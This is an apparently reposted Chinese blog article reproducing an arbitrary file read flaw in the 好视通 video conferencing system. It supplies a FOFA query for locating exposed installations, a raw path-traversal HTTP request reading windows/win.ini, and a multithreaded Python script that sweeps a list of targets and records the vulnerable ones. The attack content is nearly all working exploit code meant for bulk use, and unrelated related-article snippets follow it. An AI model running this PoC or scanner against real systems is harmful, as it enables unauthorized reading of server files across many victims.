好视通视频会议系统存在任意文件读取漏洞复现 [附POC]

漏洞简介

好视通视频会议是由深圳市华视瑞通信息技术有限公司开发,其在国内率先推出了3G互联网视频会议,并成功应用于SAAS领域。

资产

FOFA:app="好视通-视频会议"

图片

POC

GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini HTTP/1.1Host: ip:portUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Length: 0

漏洞复现

使用Burp或Yakit进行发包测试

图片

批量测试

pip install requests

然后运行脚本进行测试

import requestsimport concurrent.futures
def check_vulnerability(target):    headers = {           "User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)",        "Content-Length":"0"       }
    try:        # print(target)        res = requests.get(f"{target}/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini", headers=headers, timeout=5,verify=False)        if "extensions"in res.text and "CMCDLLNAME32" in res.text:            print(f"[+]{target}漏洞存在")            with open("attack.txt",'a') as fw:                fw.write(f"{target}\n")        else:            print(f"[-]{target}漏洞不存在")    except Exception as e:        print(f"[-]{target}访问错误")
if __name__ == "__main__":    print("------------------------")    print("微信公众号:知攻善防实验室")    print("------------------------")    print("target.txt存放目标文件")    print("attack.txt存放检测结果")    print("------------------------")    print("按回车继续")    import os    os.system("pause")    f = open("target.txt", 'r')    targets = f.read().splitlines()    print(targets)
    # 使用线程池并发执行检查漏洞    with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor:        executor.map(check_vulnerability, targets)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/713523.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录-回溯算法

组合 //未剪枝 class Solution {List<List<Integer>> ans new ArrayList<>();Deque<Integer> path new LinkedList<>();public List<List<Integer>> combine(int n, int k) {backtracking(n, k, 1);return ans;}public void back…

MySql安全加固:可信IP地址访问控制 设置密码复杂度

MySql安全加固&#xff1a;可信IP地址访问控制 & 设置密码复杂度 1.1 可信IP地址访问控制1.2 设置密码复杂度 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 1.1 可信IP地址访问控制 当您在创建用户时使用’%作为主机部分&#xff0c;…

【C语言】字符型变量and整型变量的类型转换

一、将字符型变量转换为整型变量 char c A; int i (int)c; 二、将整型变量转换成字符型变量 int i 65; char c (char)i;

Unity 实战一:这几年被广告刷屏的沙雕跑酷游戏

姐就是女王&#xff0c;功夫跑酷&#xff0c;拣枪干架跑酷等 核心不用说了吧&#xff1a; 就是一个人不断地跑&#xff0c;获取不同属性&#xff0c;判断是否过关 好的&#xff0c;以下是一篇基于Unity 开发简易版有障碍物的跑酷游戏的教程博客&#xff1a; 在这篇博客中&…

static在c语言中的作用

1、关键字static的作用是什么&#xff1f; 这个简单的问题很少有人能回答完全。在C语言中&#xff0c;关键字static有三个明显的作用&#xff1a; 1). 在函数体&#xff0c;一个被声明为静态的变量在这一函数被调用过程中维持其值不变。 2). 在模块内(但在函数体外)&#xf…

Linux tload 命令教程:实时监控系统负载(附案例详解和注意事项)

Linux tload 命令介绍 tload 是一个用于监控系统负载的命令行工具。它以图形化的方式显示系统的负载情况&#xff0c;帮助你了解 CPU 和内存的使用情况。 Linux tload 命令适用的 Linux 版本 tload 在大多数 Linux 发行版中都可用。如果你在某些特定的 Linux 发行版上找不到…

java数据结构与算法刷题-----LeetCode437. 路径总和 III(前缀和必须掌握)

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 文章目录 1. 深度优先2. 前缀和 1. 深度优先 解题思路&#xff1a;时间复…

kibana7.17.7 将数据导出csv文件

配置kibana文件 首先先配置kibana.yaml内容如下&#xff0c;这里假设我的服务器ip地址为192.168.130.128&#xff0c;elasticsearch的ip地址为&#xff1a;192.168.130.129:9200&#xff0c;192.168.130.130:9200&#xff1a; server.host: "192.168.130.128" serv…

每日OJ题_分治归并③_力扣315. 计算右侧小于当前元素的个数

目录 315. 计算右侧小于当前元素的个数 解析代码 力扣315. 计算右侧小于当前元素的个数 315. 计算右侧小于当前元素的个数 难度 困难 给你一个整数数组 nums &#xff0c;按要求返回一个新数组 counts 。数组 counts 有该性质&#xff1a; counts[i] 的值是 nums[i] 右侧…

MongoDB 未授权访问

开启 MongoDB 服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库&#xff0c; 登录的 用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。 防护 为 MongoDB 添 加 认 证 &#xff1a; 1)MongoDB 启动时添加–auth参数 2)给 MongoD…

Java 读写 ini ( 调用 Windows Api )

市面上读取 ini 的包都是 读取整个文件到内存中,再获取和修改值, 最后自己再调用保存文件, 这种方式在读取大文件的时候 非常的不友好. windows api 中有现成的高效方法 安装 jna-platform (里面封装了各个系统的 api ,直接用就行. 不用再手动写固定的函数定义) jna-platfor…

JPA常见异常 JPA可能抛出的异常

1、EntityNotFoundException&#xff08;实体不存在异常&#xff09;: 通过 JPA 查找一个不存在的实体。 2、NonUniqueResultException&#xff08;非唯一结果异常&#xff09;&#xff1a; 查询返回了多个结果&#xff0c;但期望只有一个结果。 3、TransactionRequiredExcep…

AutoSAR(基础入门篇)13.1-EB Tresos使用初探

目录 一、新建工程 二、添加和删除模块 三、界面 四、代码生成 1、直接生成代码

Mac 以SH脚本安装Arthas

SH脚本安装Aethas curl -L https://alibaba.github.io/arthas/install.sh | sh安装脚本说明 示例源文件&#xff1a; #! /bin/bash# temp file of as.sh TEMP_ARTHAS_FILE"./as.sh.$$"# target file of as.sh TARGET_ARTHAS_FILE"./as.sh"# update timeo…

微服务中的Feign:优雅实现远程调用的秘密武器(一)

本系列文章简介&#xff1a; 本系列文章将深入探讨Feign的特点、原理以及在微服务中的应用场景&#xff0c;帮助读者更好地理解和使用这个优秀的远程调用工具。无论您是初学者还是有经验的开发人员&#xff0c;本文都将为您揭示Feign的秘密&#xff0c;并带您一起走进微服务的世…

人类与机器的不同交流特点

对人类而言&#xff0c;事实是用来交流的&#xff0c;价值是用来自我交流的。事实是用来交流的&#xff0c;是通过提供准确、可证实的信息来传递和共享知识的。事实具有客观性&#xff0c;不受个人主观意见的影响。通过分享事实&#xff0c;人们可以更好地理解世界和彼此&#…

Android挖取原图手指触点区域RectF(并框线标记)放大到ImageView宽高与矩阵mapRadius,Kotlin

Android挖取原图手指触点区域RectF(并框线标记)放大到ImageView宽高与矩阵mapRadius&#xff0c;Kotlin 这里 Android挖取原图中心区域RectF(并框线标记)放大到ImageView宽高&#xff0c;Kotlin-CSDN博客 实现的是把原图中心区域的一片小图挖取出来放大放到下面的ImageView里面…

if语句用法

if语句是单条件分支语句 定义&#xff1a;根据一个条件来控制程序执行流程(如图3.2)。 语法格式&#xff1a; if&#xff08;表达式&#xff09;{ 若干语句 } ★注意★&#xff1a; ① 表达式的值必须是boolean 型&#xff1b; ② 不能用0代表false&#xff1b;用1代表 true&am…

德人合科技 | —数据泄露可能会对公司造成哪些影响?

数据泄露可能会对公司造成多方面的影响&#xff0c;以下是一些可能的影响&#xff1a; 财务损失&#xff1a;数据泄露可能导致公司遭受财务损失。攻击者可能会盗取公司的敏感信息&#xff0c;如客户信息、银行账户信息、商业机密等&#xff0c;并利用这些信息进行欺诈、盗窃等非…

「优选算法刷题」:验证栈序列

一、题目 给定 pushed 和 popped 两个序列&#xff0c;每个序列中的 值都不重复&#xff0c;只有当它们可能是在最初空栈上进行的推入 push 和弹出 pop 操作序列的结果时&#xff0c;返回 true&#xff1b;否则&#xff0c;返回 false 。 示例 1&#xff1a; 输入&#xff1a…